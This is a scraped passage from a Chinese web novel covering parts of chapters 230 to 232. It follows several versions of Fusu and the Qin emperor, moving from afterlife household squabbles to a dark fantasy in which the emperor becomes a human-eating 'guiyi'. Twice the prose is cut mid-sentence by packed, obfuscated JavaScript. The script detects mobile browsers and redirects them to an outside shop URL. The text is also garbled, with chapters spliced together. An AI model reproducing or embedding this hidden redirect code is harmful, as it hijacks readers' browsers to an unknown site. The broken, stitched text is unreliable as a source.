扶苏认了这个阿兄后就在家里给他留个宫殿。扶胥会时不时过来住些日子一是想和扶苏多相处二是在这里交到了新的朋友。 原位面的老熟人相处上千年早腻了。 不仅是他喜欢往外跑大家都爱往外跑。听说现在回去基本见不到几个人所有人都在外头鬼混。 扶苏唏嘘地看着一兄一弟。 家庭成员越来越多了再这么下去房子就不够住了。 帝陵里宫殿虽多可架不住醋王们就爱和他们一起挤乾元宫啊! 现在后殿区域眼看要住满了下回再来就只能住隔壁宫室了。总不能住在处理政事或者前头朝宫的两侧配殿里那里没设置寝室。 扶苏还在思索住房安排呢。 玄景已经快炸了。 玄景努力维持着淡然冷静地问道: “梓桑这位是?” 扶苏回神: “没大没小又不知道喊阿兄。” 玄景:呵呵。 还想让他喊阿兄?这家伙在外头好哥哥好弟弟那么多哪里缺他一个阿弟? 玄景用眼神谴责他哥。 扶苏无辜回望示意他自己真的没有一堆哥哥弟弟就一个哥哥和一个弟弟。所以玄景还是

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481693|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 比较特殊的毕竟他是独一份的弟弟。 玄景:…… 玄景更生气了他还不如当独一份的哥哥呢!谁要当弟弟啊! 扶胥含笑看着他们使眼色: “好了别打哑谜了要不要进来坐一坐?我近日寻了些有趣的小玩意儿正说要等你回来送给你。” 扶苏立刻跟过去了: “还是阿兄疼我。” 就这么抛弃了他弟弟。 玄景咬了咬牙也不甘示弱地追了上去。可不能放这两人单独相处不然自己更没有家庭弟位了 落座后扶胥温和地看向玄景: “你是梓桑的阿弟吗?我是他阿兄以后你也喊我阿兄就行。” 扶胥并不介意多个弟弟他以前就习惯于照顾弟妹。多一个同位体弟弟没什么大不了的一回生二回熟。 面前这个还挺有活力的性子好像比梓桑更火爆一些。是个没见过的扶苏类型挺可爱的。 玄景:……谢谢但孤并不想当弟弟的弟弟。 扶苏没有父亲在就会把阿兄当垫子靠。他挨在扶胥身上和他咬耳朵说了玄景的小脾气。 扶胥笑着听完: “你总是招惹他把他好好的脾气惹得越发暴躁。桥松也是都是你在故意欺负人。” 扶苏哼了一声很不服气。 玄景心里好气却还要努力维持住风轻云淡的形象。说话要淡淡的表情要淡淡的力求让人觉得他高深莫测。 可惜有秦梓桑在就注定无法成功。 扶苏直接说: “先来后到 扶胥这才知道他们之前在门外吵的是什么内容立刻好脾气地表示弟弟喜欢这里他可以腾出来自己搬去西侧殿。 左右住哪儿都一样。 玄景多看了扶胥两眼确认这人不是以退为进而是单纯的好说话稍微放了点心。 不过他肯定不能答应这个提议不然叫父亲知道了万一觉得他欺负老实人就不好了。倒不如自己主动退让刷一刷大家的好感度。 玄景便摇了摇头: “不用了我住西侧殿吧。兄长是先来的我身为弟弟没有叫兄长给我让位置的道理。” 扶胥果然夸了他一句懂事谦逊接着又劝他不用太乖巧。当弟弟的有任性的资格太乖了容易吃亏。 说着就要起身去收拾行李。 扶苏把他哥按住了: “别惯着他就让他住西边。” 在他跟前耍心眼呵。也就仗着扶胥为人正直看不出来了。 那头秦政听侍者说三个扶苏齐聚一堂就猜到要闹腾。特意过来看了一下果然在吵架。 秦政拍板定下了住所分配: “朕把章台宫留给你们父子两个了玄景你喜欢东偏殿就住那边去。” 玄景:!!! 茶艺鉴赏大师秦政显然看出了儿子的小心机并不上套。玄景论茶是茶不过梓桑的梓桑的段位在秦政跟前都不够看何况是他呢。 玄景不情不愿地跟着父亲走了。 临走还听到秦梓桑在说: “是不是该给小阿父留个住处?还有他家的小苏。” 玄景的脚就走不动了:你到底有几个好弟弟! 秦王也停下了脚步:梓桑怎么还有别的阿父? 梓桑都没喊过他阿父都是喊父亲的。 不等他们询问扶胥就主动说: “还是我把东偏殿让出来吧不好叫父亲住西边。” 秦政答应了。 玄景就压低声音问父亲: “为什么那对父子可以住乾元宫我们就只能住遥远的章台宫?” 秦王冷肃着脸跟随侍者往前走: “因为你总是和梓桑吵架秦御要把你们兄弟两个隔开。” 玄景在脑子里转了一圈“秦御”是谁然后想起来了 以前父亲都是喊太子的如今来了地府不好再这么喊就只好称呼表字了。各位面的诸位虽然大名一致表字却各有千秋倒是方便了区分。 父子俩隔了几天才见到了扶苏口中的“小阿父”也就是秦帝政。 秦帝是扶苏和秦政一起养大的后来两人还见证过小扶苏的出生。不过很快他们就回地府了没有再等到小扶苏长大。 小扶苏和两人没什么交集说是给父子俩留房子实则只有秦帝会偶尔过来住上几日。 所以一个东偏殿就够了不必 单独给他留一整套的宫室。秦政也是考虑到这一点,才同意了扶胥搬迁。 有过上次闭关二十年的经历,大家都挺担心这父子俩又一言不合几十年见不着人的。 因而秦帝有空就会过来看看他们。 玄景来的时候,秦政正和秦帝下棋。扶苏变成小崽子被秦帝抱在怀里,呼呼大睡。 玄景先震惊的是他哥居然不是赖在秦政怀里的,一般这种时候秦梓桑都会挨着亲爹。 秦政看出他的震惊: “朕抱了他许久有些累了,叫阿政替朕抱一会儿。 秦帝看了过来 “仲父,这就是阿苏说的弟弟? 秦政颔首: “他表字玄景。 玄景知道仲父的意思,惊讶这怎么还有个辈分比其他始皇帝低的陛下。这么算起来的话,对方的长子岂不是要比扶苏低一辈,成侄子了? 玄景:原来孤还不是最惨的那个。 玄景心里平衡了。 扶苏被他们的聊天声吵醒,翻了个身睁开眼睛。下意识伸出小拳头要揉眼,被秦帝眼疾手快地捉住。 “不许用手揉眼睛,脏。 扶苏只好放弃,躺在小阿父腿上仰头看向来人。因为是仰躺着的,再仰头就变成了头朝下,看到了一个倒着的玄景。 扶苏和他打招呼: “玄景来了? 玄景低头看着这个小崽子: “你变成这样干什么? 给这种家伙当弟弟,显得他秦玄景更弱了。 扶苏给出答案: “我阿父喜欢啊! 玄景:…… 玄景瞄向秦政,心道真是看不出来,这位父亲原来喜欢幼崽。难怪他长大之后再刷父亲的好感度,就没有小时候那么容易了。 但玄景是做不来装可爱这事的,所以他很快抛开了心里的一点小遗憾。 秦帝抱着小孩坐到一边,把位置让出来,让玄景去陪仲父下棋。他要带着睡醒的小可爱玩耍去了,下棋哪有陪他家阿苏有意思? 扶苏在乾元宫过了足足一个月颓废又快乐的生活,阿父、阿兄和小阿父都围着他转,偶尔还会带着帝陵的灵体和寻宝鼠出门祸害人。 ——重点祸害本位面地 第 231 章 诡异大战老秦人 第231章诡异大战老秦人 仅存的活人扶苏后知后觉地意识到,自己和肥羊掉进狼窝里没有什么区别。幸好头狼并不想吃他,也不许其他人胆敢吃他,所以安全还是有保障的。 扶苏看了一眼变成诡异之后身体素质大幅度提高的儿子,突然发现诡异也有诡异的好处。 比如,诡异精力充沛,需要的睡眠时间很短。所以他们可以尽情加班,不用担心把人累坏。 扶苏愉快地把政务丢给了儿子。 太孙桥松冷淡地应下: “是,父亲请放心。” 可怜桥松原本来这个位面是想跟祖父和父亲来玩的,没想到一着不慎把自己搞成了天选加班人。失去了对玩乐的兴趣,反而受制于上位者的命令干活去了。 秦政成为诡异后权欲降低了许多,干脆把大半事务都丢给下属处理。 比起理政,现在他需要考虑的要紧事情是另一件——怎么填饱肚子。 诡异食用人类的食物虽然也能饱腹,却无法增强实力。而且时间长了也会觉得有些空虚,需要一点诡力或者生命力作为小甜点。 可目前并没有合适的人选给他进食。 反贼已经吃完了,只剩死刑犯。但大秦的死刑犯不多,更多的是需要服劳役的囚犯。这些人是要干活的,不能乱吃。 而且普通人类吃起来远没有诡异能量充足,高阶诡异一般都更倾向于吞噬低阶诡异。而低阶诡异因为实力不济,只能被迫去吃人类。 当然,在普通人和觉醒者里,他们会首先对觉醒者下手。反正无论觉醒者最后是变成了半诡还是全诡,都不影响他们吞噬。 秦政的目光扫过群臣。 现在他周围只有这些诡能量充足。 扶苏拉住阿父的手: “这个不能吃,不然没人给大秦干活了。” 秦政收回视线: “朕不会吃他们的。” 他们能变成诡异,靠的是秦政的精血。精血里携带了不少能量,再加上他们自己本身的灵魂特质,才会觉醒成为乙级诡异。 乙级诡异身上的诡力充沛,确实是一顿大餐。 但只要仔细算算就会发现,他们体内 的诡力,其实和秦政之前付出的精血加上他们作为普通人时本身携带的诡力,是一样多的。 费劲把他们变成诡再吞噬掉,只是额外进行了一个步骤而已,并不会使得食物变得更加美味。 真想吃他们,还不如之前就吃了,也能省点事。 扶苏给父亲端来一盘点心: “阿父吃点这个吧。” 秦政漫不经心地瞥了一眼,正想说自己不饿。他对人类的食物兴趣不大,只需要吃维持日常生存的量即可。 然而他的目光很快定住了。 这一盘子糕点里居然携带着不少能量,被藏在了每一块糕点的中心,不仔细分辨是看不出来的。 能量的气息很熟悉,正和身边儿子身上散发的一致。 秦政的脸色霎时间变得非常难看。 人体内的能量是不会莫名其妙泄露出来的,它们只会蕴含在血肉之中。既然糕点里有扶苏的能量,那就证明这盘糕点加了料。 秦政伸手捏起一枚,直接从中掰开。 果然,糕点是夹心的。 鲜红色带着花香的漂亮蜜糖流淌出来,相似的颜色和馥郁的气味掩盖了里头的鲜血,仔细闻才能闻出一丝血腥气。 秦政冷冷瞪向扶苏: “手伸出来。” 扶苏意识到露馅了,乖乖把双手都伸了出来。然而手上没有任何伤口,看不出来是从哪里放血的。 秦政更生气了,他正要把糕点放回盘子里,仔细检查一下儿子的身体。 扶苏小声提醒父亲: “花蜜要滴落了,好浪费的。” 秦政额角的青筋跳了跳: “你还敢说?” 扶苏伸手握住了父亲的手掌,温柔却坚定地拉着他的手凑到嘴边,示意父亲先把糕点吃了。 秦政要发火。 但扶苏说: “做都做了,不吃难道要丢掉?” 秦政闻着鼻尖香甜诱人的味道,没有办法拒绝。而且扶苏说的有道理,这血不可能再收回体内,只能吃掉。 扶苏又说: “父亲不是总说自己是个冷酷无情的诡异?诡异怎么会在意我流不流血呢?父亲不会忘了自己是诡异吧?” 秦政被他堵得哑口 无言。 是的他作为诡异怎么能心疼一个人类放血?血液又不是不可再生的人类受伤流的血都比这糕点里加入的要多多了。 扶苏怕露馅每一枚里头就加了一小滴进去。结果还是被发现了看来父亲有特殊的分辨技巧。 秦政被自己之前说的话架在了那里进退两难。最后只能冷着脸把糕点放进嘴里凶狠地吃掉了。 精纯的能量涌入体内抚平了他因为最近只能吃到人类食物而产生的“饥饿感”。 然后他又用同样残酷的表情吃完了剩下的糕点。 因为他发现周围侍奉的诡异侍从闻见糕点的香气后都忍不住投来了渴望的眼神如果他不吃扶苏很有可能会把糕点赏下去。 那绝对不行。 这是儿子特意给他准备的小点心。 扶苏心想父亲要是哪天恢复了人类的三观可能会对自己为了生存被迫吃掉儿子的血液感到不适。 所以他还特意说了一句: “我之前还差点吃了阿父的血呢现在只是让阿父吃回来。” 秦政觉得这不是同一个概念。 扶苏又说: “可惜上上个月我不小心把手划破之后流的那些血都浪费了。” 秦政:…… 他那个时候还没变成诡异留下来了也没用。都两个多月过去了估计早就腐坏了。 不对不是他还没变成诡异 扶苏还跃跃欲试: “等我下次受伤流血了就多让伤口流一会儿反正只要别失血过多就行。” 秦政听不下去了: “不准!” 血液流失对身体不好哪怕只是少量流失一些。能不流血最好别流像扶苏这样的凡人太过虚弱随随便便就会一身病痛早早离世。 秦政皱着眉心想看来还是应该早点让儿子变成诡异才好。 可惜扶苏不太愿意。 秦政把儿子上上下下检查了一遍终于找到了被他藏在手臂上的伤口。 确实是很小的一个浅伤却依然叫秦政看不过眼。伸手使用诡力帮他治疗了伤口愈合手臂恢复如初。 扶 苏笑着谢过父亲,收获了父亲一个蕴含怒意的瞪视。 扶苏只好承诺以后不干这种事了。 又辩解道: “我原是想寻旁人来放血的,后来想起父亲说过其他人身上没有多少能量。只有我的能量多,所以我才亲自动手。 不然他放话出去,多的人愿意放血换取赏钱,何须堂堂太子伤害自己? 然而这话根本安抚不了生气的老父亲,奈何老父亲又着实没有什么法子惩罚这个不乖的儿子。 所以最后也只能自己把人盯紧点了。 宫外。 叛军离奇死亡的消息吓坏了朝中别有用心的部分臣子,他们惊得头皮发麻,怎么都想不通事情为何会变成这样。 虽然秦军对外的说法都是通过作战全歼了敌军,可消息灵通的他们却知道不是的。秦军抵达的时候,他们就已经死了。 结合陛下死而复生的消息,更叫他们惊悚。 最开始这些人还能安慰自己,可能之前陛下只是病重垂死,驾崩是个假消息。 毕竟他们也没亲眼看到,只有始皇帝的心腹重臣入宫见过遗体。后来太子一直不发丧,也就没有举办葬礼,更没叫朝臣前去哭灵。 太子拖着不发丧,除了人没死他们想不到别的可能性。人家是太子又不是寻常皇子,爹死了不正好继位吗? 哪有太子不乐意早点继位的! 可是反贼离奇死亡的事情一出,众人就很难自欺欺人了。迷信的他们立刻认定了是鬼神出手,非人力可以应对。 那么鬼神会不会把他们揪出来? 惊恐的臣子甚至都没有注意到身边不少同僚慢慢变得冷漠了起来。 等他们注意到的时候,冷漠已经人传人,覆盖了大半个朝堂。那些冷漠的同僚看他们的眼神也很不对劲,带着一点审视和高高在上。 审视是因为已经被感染的同僚,都是调查过后确定别无二心的秦人。他们自己知道这件事,看其他还没被感染的同僚难免就会怀疑对方是不是奸细。 不然为什么还没轮到他们呢?是因为上头的调查速度太慢,还是因为上官们暂时提供不了太多的血液? 而高高在上,则是诡异自带的属性。 正常人一开始只觉得那种高高在上有些熟 悉不像是贵族看庶民的居高临下而是另一种更原始的冰冷眼神。 他们回去之后辗转反侧努力思考那到底是什么眼神。 终于他们意识到了—— 那是屠夫看牲畜的眼神漠然无情因为面前的“小动物”很快就会被宰杀后端上餐桌。 吃肉的人不会闲得没事用阶级去碾压被吃的鸡鸭鱼羊也不会拿看人的眼神看这些待宰食材。 察觉到不对劲的人心脏砰砰直跳觉得这个秦国真是太诡异了。直觉让他们想要逃跑理智却提醒他们现在逃跑不会有好下场的。 外头的反贼在闹事这个时候你突然逃跑和主动暴露没有什么区别。 可是不逃也没什么未来。 宫中。 秦政因为扶苏主动放血生了好几天的闷气直到扶苏拿着调查出来有问题的臣子名单来给阿父看。 扶苏开心地说: “阿父这些也是反贼可以吃!” 虽然名单上的人数不太多但蚊子再小也是肉啊!比起父亲之前没饭吃的悲惨境遇这已经不知道好多少了。 秦政接过名单看了一眼就消失了。 扶苏知道 那些人这会儿有的在府衙里有的在自己家中。但无论他们在哪儿都逃不掉秦政的追杀。 秦政只需要闪身出现在他们家宅中的任何一名仆从面前惊恐的仆从就会立刻为陛下指明方向告诉他自家主人现在正在何处。 涉事官员在看到始皇帝眨眼间出现在自己面前的时候吓都要吓死了哪儿还能生出反抗的心思? 秦政并不会和食物废话直接就将人吞噬了。 在家宅中的还好些独处的死了都没人发现身边有人的也不敢质疑突然出现的鬼神。 而且质疑也无用卫尉很快就带兵前来捉拿府内的其余人员了。按照大秦律法造反是要夷三族的。 倒是在府衙里的麻烦点。 陛下的突然现身吓到了不少人诡异们很淡定立刻下跪行礼参拜。其他见过始皇帝的官员受到惊吓后也意识到是陛下来了会跟着行礼。 没见过陛下的小吏就愣在了当场等反应过来要跟随长官一起叩拜时陛下已经干脆 利落地解决掉了目标。 看着直愣愣砸倒在自己面前的尸体小吏人都吓傻了。 等陛下消失不见他们才哆哆嗦嗦地问这是怎么了。陛下为何会仙术又为何突然跑来亲手处决官员? 诡异们没有言语在他们看来首领要处决谁根本无需同人解释。就像人们吃饭的时候不会特意给人解释一下“我在吃饭”是一个道理。 非诡异的官员绞尽脑汁: “或许这些人犯了什么罪?” 然而环视四周看见不少人依然表情惊恐带着一点畏惧神色。 下职后小吏聚在一起低声交流: “陛下是不是……” 看起来不太像活人的样子别不是成了什么妖孽才会滥杀的吧? 直到卫尉捉拿反贼的消息传来他们才意识到秦政是来解决叛贼的。可为何陛下偏偏要挑他们亲自下手 众人百思不得其解。 扶苏正在算这次要捉多少人还有外头那些造反的士兵。士兵本人死了但他们参与了造反他们的族人肯定也逃不脱追责。 扶苏在廷尉司递交上的名单里勾勾画画把罪大恶极作奸犯科的勾了出来。然后开始挨个算谁按律本来也要判死罪的就把名字单独拎出来列成一个新的清单给父亲。 这就是下一份小甜点了。 这么折腾很麻烦好在扶苏现在有的是空闲他很乐意替阿父做点什么。 侍官疑惑地问道: “那些人都是要因谋反被诛连的直接留给陛下吞噬不就行了?” 完全没有必要自找烦恼算这个。 扶苏也说不上来为什么。 他总觉得最好不要随便什么死刑犯都吞噬。 那些只是单纯受牵连、自己没做过什么恶事的犯人按律被株连是一回事仗着他们要死了就把人家剩余的生命力吞噬了是另一回事。 吞噬无辜之人的生命力似乎会有一些不太好的后果。具体是什么扶苏说不上来但他不肯叫父亲冒险。 ——这是来自神的直觉。 神不会死却有可能堕落成堕神。有些事要少做会污染神格。 秦政没有对扶苏的行为发表意见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481694|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他同样拥有类似的直觉只是这样的想法和他的诡异本性相斥让他有些不太舒服。 诡异原本是不会管食物无辜与否都随便吃的便如常人吃猪肉之前不会去探究被吃的猪是否欺压过同类。 扶苏把能吃的都挑出来最后遗憾地发现人还是少了点。过了这个村以后还不知道要去哪里给父亲找新的食物。 难道要动不动就筛查一下贵族家族从里头拎几个罪孽深重的族人出来给父亲打牙祭? 扶苏正思索着呢脚下的石板缝隙里突然冒出来几根颜色青灰的藤条企图趁他不备缠绕住他的脚腕将他拽倒。 扶苏一脚踩住把那藤踩入石板中。 明明是看起来柔弱无害的普通人却能连着石板一起踩碎。 远处传来一声低呼: “啊!” 随之是阴嫚紧张的询问: “二妹没事吧?” 扶苏走向那个方向捉住了暗中搞事情的弟妹们。 几个鬼鬼祟祟的家伙躲在树丛后头见长兄过来心虚地后退了几步。 扶苏看向清婉: “方才是你要针对我?” 清婉躲在长姐身后: “我只是和大兄开个玩笑。” 他们确实只是来恶作剧一下清婉和长兄无冤无仇主要是阴嫚想戏弄大兄她就很没有原则地来替长姐帮忙了。 怂恿她们动手的人里还有将闾等几个调皮的弟弟。 成为诡异后会放大人心中的恶。 在此之前阴嫚哪怕再怎么想戏弄兄长 或许在诡异看来不危险因为他们身体强悍。扶苏却是普通人没那个身体素质。 扶苏瞥了他们一眼: “你们等着。” 扶苏回去就找父亲告状了并露出了自己脚腕上被捆缚后留下的青紫淤痕。 秦政的眸光一凝: “你也太弱了只是被捆了一下居然就出现了淤青。” 这么弱的人类是他们诡异最看不上的存在。诡异崇拜强大诡异的世界遵循真正的“弱肉强食”规则。 扶苏垂下头看起来有些无措。 秦政冷哼一声: “对朕装可怜是没用的。” 说完他就出门去揍那几个不懂事的儿女了。 扶苏把衣摆放下,遮住了脚腕。 旁边的侍从露出疑惑不解的表情,他们明明记得当时的藤蔓还没能捆住太子的脚腕,就已经被太子踩碎了。 甚至连底下的石板都一起碎了。 扶苏扭头看见了他们的表情,只是露出了一个寻常的微笑,看起来和往常并没有什么不同。 很快,侍从脸上的疑惑就消失了。他开始露出气愤的神色,说了一句“公主他们真是太过分了”。 扶苏把头转了回去,神色如常。 扶苏很快收到了最新消息。 据说陛下前往殿下们居住的长乐宫后,毫不留情地将那几个欺负他的弟妹都狠狠收拾了一顿。 他没有留手,因为诡异的恢复能力非常强。些许小伤随便就痊愈了,所以揍过头了也无所谓,不过是多养几天伤的事情罢了。 冷漠状态下的父亲显然更能下得去狠手。 秦政很快回到儿子身边。 他给儿子用诡力治疗了一下脚腕,碍眼的青紫眨眼间就成功消失不见。问扶苏还痛不痛,扶苏柔弱地说已经不痛了。 秦政语气不善地质问他: “身上还有伤吗?他们把你拽倒后,是不是还在地上拖了一段?” 扶苏没有回答,只是下意识把手往背后缩了缩。 秦政立刻捉回来,粗暴地掀开了儿子的衣袖。 侍从再一次露出疑惑的表情。 太子被拖行了吗?他怎么没有印象?难道不是只被藤蔓捆住了脚腕? 但让他傻眼的是,衣服被掀开后,他居然真的在太子身上看到了各式各样的淤青和伤痕。 有些像是擦伤,而对应擦伤的位置,原本完好无损的衣服上也多出了划痕和破损。 侍从的表情渐渐变得茫然,而后恢复了平静,继而变成心疼。目光注视着那些伤痕,恨不得立刻转身去拿药。 秦政也发现了不对劲。 他之前查看扶苏脚腕的时候,扶苏身上的衣服还是完整的。甚至就连刚刚他从外面回来时,衣服上也没有破损。 秦政低头对上了儿子的 视线。 扶苏轻声说: “阿父,我有点疼。 秦政于是放弃了探究真相。 这些都不重要,甲级诡异冷漠地想。他不在乎扶苏是不是故意陷害了弟妹,反正也是弟妹先动手招惹他的。 他动作温柔地替儿子修复了伤口,让人取来了完好的干净衣裳,叫儿子把脏破的旧衣换掉。 扶苏也仿佛完全没发现自己身上出现的奇怪变化一样。 他想要父亲的身体不腐坏,身体就一直保持如初。 他想要父亲复活,父亲就复活了。 他想要父亲有食物可吃,线人就提供了朝中反贼的名单。 他想要踩碎妹妹凝聚的藤蔓,脚掌就成功踩碎了障碍。 他想要身上出现一些伤痕,伤痕就如期而至。 他想要侍从的记忆被修改掉,侍从就顺利“记住了他曾经被捆缚和拖拽。 扶苏是宫中唯一的活人。 他也是宫中最大的“诡异。 不是诡异,胜似诡异。他是活着的诡异,一种特殊的、和正常诡异截然不同的怪物。 扶苏仰头冲父亲笑了笑: “阿父,你很快就会有食物吃了。 现在,扶苏想要父亲拥有吃不完的食物,之前的还不够。 而诡异复苏必然不可能只有秦政一只诡异出现,扶苏的愿望必然会加快它复苏的步伐。等野生诡异出现了,秦政就可以通过猎食他们果腹。 秦政定定地看着他: “诡异会侵扰大秦的秩序,杀害很多你在意的普通人。 扶苏轻声说道: “不会的,我不希望那样。 一天后,咸阳县令急匆匆前来汇报咸阳城郊出现的奇异现象。 县令的表情带着点古怪的激动: “城郊出现了一个诡域。 诡域,那是外来诡异生活的地方。如果是大秦本土诞生的诡异,在实力强大到丙级之前,是无法拥有诡域的。 秦政这样的甲级诡异可以选择展开领域,将一大片区域纳入他的诡域中。但这样的诡域与县令汇报的存在本质区别,外来诡域不一定是高级诡异生成的。 如果非要说的话,可以理解为其他世界的一小片空间 第 232 章 诡王? 第232章诡王? 秦政看着堆满的谷袋,问儿子: “你准备怎么带回去?” 数量这么多,根本拿不完。而不是他们秦人拿着的话,还真不一定能跟随他们回到大秦。 扶苏也不知道: “要不然等下用绳子把它们捆起来,然后我拽着绳子,看能不能带回去?” 他的特殊能力或许可以有点作用。 秦政扫了一眼这些袋子: “那就先找绳子,再让人将袋子捆起来。” 精细的活没法压榨低级诡异来做,它们干不了这样的事,只会搞砸。那只女诡不知道能不能帮上忙,就算可以,它一只诡效率也比较低。 扶苏也想到了这一点: “我问问它,看它知不知道其他几个秦人去哪里了。” 女诡搬完最后一袋谷子回来,不仅是稻米,库房里其他的谷子她都一并送来了。见到扶苏身边多了一个人,眼里顿时露出凶光来。 吃不了扶苏它还吃不了这人吗? 女诡就要扑过去攻击。 扶苏开口了: “我要找四个人,你告诉我位置。” 女诡憋屈地停下了脚步: “哪四个人?” 回答问题的优先级最高,她只能先回答再做自己想做的。 扶苏就报了四个人的名字。 女诡一脸茫然,显然不认识。扶苏叹了口气,一点都不意外。 秦政瞥它一眼: “它是诡域主人,应该清楚哪里躲藏了活人。带着它把每个地方都跑一遍,就能将人找齐了。” 扶苏点头: “那就这样吧,带路。” 女诡脚步僵硬地转过身: “请跟我来。” 女诡在心里疯狂尖叫,发誓一定要把这个可恶的肥羊吃掉。 它没想到居然会有人觉醒这种命令诡异的能力,但是无所谓。能力都是有限制的,不可能无限使用。等他用不出来了,自己就可以开饭了。 可恶的觉醒者。 不知道这是什么级别的觉醒者,级别越高,能力越强,使用次数也会提升。 这种命令算是强支 配型能力受到的限制只会更大。恐怕就算是甲级能力使用次数也不会太多。 女诡带着他们穿过了好几个院落路上碰见了不少仆从。 大部分人都找到地方躲起来了被揪出来的时候表情还很惊恐。尤其是看见队伍里有个明显不是活人的女诡好几个直接吓得白眼一翻。 女诡冷漠地忽略了他们继续往前走。 有大餐放在眼前它根本不在意这些没什么滋味的食物。就像国宴美食和味道一般的速冻饭团放在一起 先放在这里等以后饿了实在没东西吃了再吃。 由于女诡的存在没人敢跟着扶苏和秦政一起行动。哪怕秦政挥挥手就能解决周围的小诡看起来很厉害。 估计是把他们也当成诡异了。 好吧他俩确实不太正常秦政还是个实打实的诡异。 又转过了几个院子终于找到了躲在厨房大水缸里的母女两个。 菘和芦苇很聪明菘在厨房洗菜的时候就发现几个水缸里的水快用完了。芦苇跑出来找母亲在厨房找到她她就提议可以藏在水缸里面。 芦苇果断把两个快见底的水缸里的水打了一些出来倒进旁边第三个水缸中。然后往水缸里丢了几个圆型的厚砧板底部朝上放在里头。 这样她们可以踩在砧板上避免沾湿鞋子。回头需要转移阵地的时候就不会因为湿鞋子留下脚印了。 厨房的砧板是会日日清洗的正面刚用过切了菜沾上了一些碎屑。但是背面却没有沾东西所以要背面朝上。 水缸很大足够母女俩一起躲藏。 可菘依然选择和女儿各自躲在一个水缸里这样万一其中一人被发现了另一人还能幸免于难。 敌人或许会认为只有一个水缸里藏了人从而不去检查其他的。 毕竟这么大的水缸没道理人还要分散藏在两个缸中。就算要散开保险起见肯定也是各自藏在不同的东西里头。 就是打一个反向思维。 扶苏敲了敲盖子: “出来吧已经安全了。” 菘犹豫了一下没有动。心里直打鼓生怕女儿傻乎乎就出去了。 谁知道外头的是人还是怪物 呢? 好在芦苇也很谨慎地没有动。 扶苏说道: “孤乃大秦太子。” 这下两人终于敢出来了在她们朴素的价值观里就算是怪物也不敢冒充太子殿下的。 果然一冒头就看见了衣着华贵的殿下。殿下身边还有个威严莫测的男子看着十分不俗。 至于不远处满脸写着不耐烦的诡被她们直接忽略了。 太子殿下在这里怪物生不起风浪。 两人麻利地从水缸里爬出来: “见过殿下。” 扶苏提醒: “还有始皇帝陛下。” 两人这才知道男子的身份赶紧补了个礼。而后拘谨地站在那里不知道该做点什么。 他们这辈子见过最大的人物就是里正了连县衙的官差都见得少。 女诡不耐烦地说: “还走不走了?” 快点走走完她要开饭。 母女俩吓了一跳这才看清门口站的是个女诡不是什么活人。可见陛下和殿下都十分淡定便知道她没威胁。 秦政嫌弃它聒噪不过扶苏拉了父亲一把秦政就没说什么。 扶苏小声同父亲说: “她好像在等待着什么。” 秦政也看出来了微微点头。 父子俩都多了一分警惕跟着她找到了最后两个人。那两人之前就偶然碰面了这会儿自然也一起行动。 但和其他人都躲起来不一样两位参过军的男丁显然更莽一些。不知道从哪里弄来了砍柴刀来一个小诡杀一个。 看得芦苇热血沸腾没忍住和母亲小声说了一句“可惜我力气不够”。 她之前也想过去杀妖怪的但厨房只有菜刀和劈柴的斧子。斧子太重了挥舞起来不够灵便菜刀又短小 武德充沛的老秦人满身战骨几乎堪称全民皆兵尤其这几个还是咸阳周边实打实世代传承的秦国人。 山和麻竹发现了芦苇母女。 参过军的他们对贵族服制更了解一些一眼就认出父子俩身上的衣服不是一般贵族能穿的赶紧收刀前来见礼。 山还瞪向女诡: “陛下可要我宰 了这个妖物? 女诡立刻冲他龇牙。 自己不想吃没滋味的食物是一回事,被食物挑衅了就是另一回事了,她必要这个活人好看! 眼看女诡要扑出去,扶苏开口: “不许伤人。 女诡都做好要被迫听令的准备了,没想到这次它却没感觉到束缚。依然遵循之前的想法冲向了山,但很快她就止步了。 毫无预兆的,女诡猛地扭头袭向扶苏。带着尖锐长指甲的手成爪状,就要掏像扶苏的心口。 终于叫它等到能力失效了。 她就知道!这样逆天的能力是有限制的!从开始到现在,这人命令了它五次!看来一天的使用上限就是五次! 女诡眼里闪过一丝得意。 她反水得猝不及防,这愚蠢的活人一定来不及躲避吧?他估计还傻乎乎地以为自己的能力可以无限制使用,真是天真。 山见状大惊: “殿下! 他离得远,已经赶不及救人了。早知如此方才不该乱说话,刺激了这个怪物。 麻竹握着刀冲过来,心里也在懊恼。陛下身边没带护卫,他就应该早早侍立在侧,给二位君上充当护卫才对。 这可是救驾之功! 扶苏却淡定地看着扑来的女诡,在他身前眨眼间出现了一片黑雾形成的雾墙。 女诡控制不住冲势,半个身子闯了进去。分明是薄薄一层墙,她已经探进去很多了,却并未从另一头露出来。 不是黑雾里有异空间,而是黑雾眨眼间将进入其中的部分吞噬了。没有活人躯体的诡异是这样的,女诡只剩下了半截。 女诡只能控制着剩下半截身子后撤,然后费劲地重新长出了前半截。 它惊疑不定地看向扶苏: “不可能!你的能力不是控制诡异吗?为什么还有其他能力? 一个人或者诡异只能觉醒一种能力。 扶苏好奇地看着那片雾,趁着他爹没收回去,突然伸手探入。 他想看看会不会把他的手也给吞了,这样的话以后父亲吃他应该就不需要靠流血,直接用雾就行。 秦政来不及收回黑雾,惊怒交加: “秦扶苏! 他一把将儿子的手拽了出来, 手虽然还在但肉眼可见地变得冰凉像是从活人的手变成尸体的手那般。 扶苏试图动一动没有反应。 他好像被啃掉了一截什么东西。 